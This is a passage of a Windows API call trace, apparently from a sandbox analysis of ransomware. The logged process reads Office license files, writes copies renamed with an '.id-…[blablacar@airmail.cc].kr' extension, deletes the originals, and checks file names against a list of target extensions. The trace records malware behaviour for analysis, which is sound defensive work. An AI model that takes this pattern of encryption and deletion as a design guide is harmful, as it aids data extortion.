SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.095] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.096] GetLastError () returned 0x0 [0196.096] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0196.098] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0196.099] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.099] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0196.099] SetEndOfFile (hFile=0x54c) returned 1 [0196.099] CloseHandle (hObject=0x54c) returned 1 [0196.100] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.100] SetEndOfFile (hFile=0x544) returned 1 [0196.104] CloseHandle (hObject=0x544) returned 1 [0196.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.106] lstrlenW (lpString=".doc") returned 4 [0196.106] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".docx") returned 5 [0196.106] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.106] lstrlenW (lpString=".pdf") returned 4 [0196.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".xls") returned 4 [0196.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".xlsx") returned 5 [0196.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.106] lstrlenW (lpString=".ppt") returned 4 [0196.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.106] lstrlenW (lpString=".zip") returned 4 [0196.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".rar") returned 4 [0196.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".bz2") returned 4 [0196.106] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString=".7z") returned 3 [0196.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.106] lstrlenW (lpString=".dbf") returned 4 [0196.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.106] lstrlenW (lpString=".1cd") returned 4 [0196.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.107] lstrlenW (lpString=".jpg") returned 4 [0196.107] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.107] lstrlenW (lpString=".doc") returned 4 [0196.107] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".docx") returned 5 [0196.107] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.107] lstrlenW (lpString=".pdf") returned 4 [0196.107] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".xls") returned 4 [0196.107] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".xlsx") returned 5 [0196.107] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.107] lstrlenW (lpString=".ppt") returned 4 [0196.107] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.107] lstrlenW (lpString=".zip") returned 4 [0196.107] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".rar") returned 4 [0196.107] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".bz2") returned 4 [0196.107] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString=".7z") returned 3 [0196.107] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.107] lstrlenW (lpString=".dbf") returned 4 [0196.107] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.108] lstrlenW (lpString=".1cd") returned 4 [0196.108] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0196.108] lstrlenW (lpString=".jpg") returned 4 [0196.108] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.397] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.403] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34 [0196.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.410] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=22094) returned 1 [0196.410] CloseHandle (hObject=0x544) returned 1 [0196.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0196.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.411] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.411] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.412] GetLastError () returned 0x0 [0196.412] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x564e, lpOverlapped=0x0) returned 1 [0196.415] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5650, lpOverlapped=0x0) returned 1 [0196.416] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.416] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x118, lpOverlapped=0x0) returned 1 [0196.416] SetEndOfFile (hFile=0x410) returned 1 [0196.417] CloseHandle (hObject=0x410) returned 1 [0196.417] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.417] SetEndOfFile (hFile=0x544) returned 1 [0196.420] CloseHandle (hObject=0x544) returned 1 [0196.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0196.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.422] lstrlenW (lpString=".doc") returned 4 [0196.422] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.422] lstrlenW (lpString=".docx") returned 5 [0196.422] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.422] lstrlenW (lpString=".pdf") returned 4 [0196.422] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.422] lstrlenW (lpString=".xls") returned 4 [0196.422] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.422] lstrlenW (lpString=".xlsx") returned 5 [0196.422] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.422] lstrlenW (lpString=".ppt") returned 4 [0196.422] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString=".zip") returned 4 [0196.423] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString=".rar") returned 4 [0196.423] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString=".bz2") returned 4 [0196.423] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString=".7z") returned 3 [0196.423] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString=".dbf") returned 4 [0196.423] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString=".1cd") returned 4 [0196.423] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString=".jpg") returned 4 [0196.423] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.423] lstrlenW (lpString=".doc") returned 4 [0196.424] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".docx") returned 5 [0196.424] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.424] lstrlenW (lpString=".pdf") returned 4 [0196.424] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".xls") returned 4 [0196.424] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".xlsx") returned 5 [0196.424] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.424] lstrlenW (lpString=".ppt") returned 4 [0196.424] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.424] lstrlenW (lpString=".zip") returned 4 [0196.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".rar") returned 4 [0196.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".bz2") returned 4 [0196.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString=".7z") returned 3 [0196.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.424] lstrlenW (lpString=".dbf") returned 4 [0196.424] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.424] lstrlenW (lpString=".1cd") returned 4 [0196.424] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0196.424] lstrlenW (lpString=".jpg") returned 4 [0196.424] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.425] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.425] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35 [0196.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.425] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11613) returned 1 [0196.425] CloseHandle (hObject=0x544) returned 1 [0196.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0196.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.426] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.426] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.427] GetLastError () returned 0x0 [0196.427] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0196.431] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0196.432] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.432] WriteFile (in: hFile=0x410, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11a, lpOverlapped=0x0) returned 1 [0196.432] SetEndOfFile (hFile=0x410) returned 1 [0196.432] CloseHandle (hObject=0x410) returned 1 [0196.433] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.433] SetEndOfFile (hFile=0x544) returned 1 [0196.436] CloseHandle (hObject=0x544) returned 1 [0196.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0196.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.437] lstrlenW (lpString=".doc") returned 4 [0196.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".docx") returned 5 [0196.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.437] lstrlenW (lpString=".pdf") returned 4 [0196.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".xls") returned 4 [0196.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".xlsx") returned 5 [0196.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.437] lstrlenW (lpString=".ppt") returned 4 [0196.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.437] lstrlenW (lpString=".zip") returned 4 [0196.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".rar") returned 4 [0196.437] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".bz2") returned 4 [0196.437] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.437] lstrlenW (lpString=".7z") returned 3 [0196.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString=".dbf") returned 4 [0196.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString=".1cd") returned 4 [0196.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString=".jpg") returned 4 [0196.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString=".doc") returned 4 [0196.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString=".docx") returned 5 [0196.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.438] lstrlenW (lpString=".pdf") returned 4 [0196.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString=".xls") returned 4 [0196.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString=".xlsx") returned 5 [0196.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.438] lstrlenW (lpString=".ppt") returned 4 [0196.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.438] lstrlenW (lpString=".zip") returned 4 [0196.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString=".rar") returned 4 [0196.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.438] lstrlenW (lpString=".bz2") returned 4 [0196.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.439] lstrlenW (lpString=".7z") returned 3 [0196.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.439] lstrlenW (lpString=".dbf") returned 4 [0196.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.439] lstrlenW (lpString=".1cd") returned 4 [0196.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0196.439] lstrlenW (lpString=".jpg") returned 4 [0196.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.439] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.439] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35 [0196.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.440] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19958) returned 1 [0196.440] CloseHandle (hObject=0x544) returned 1 [0196.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" 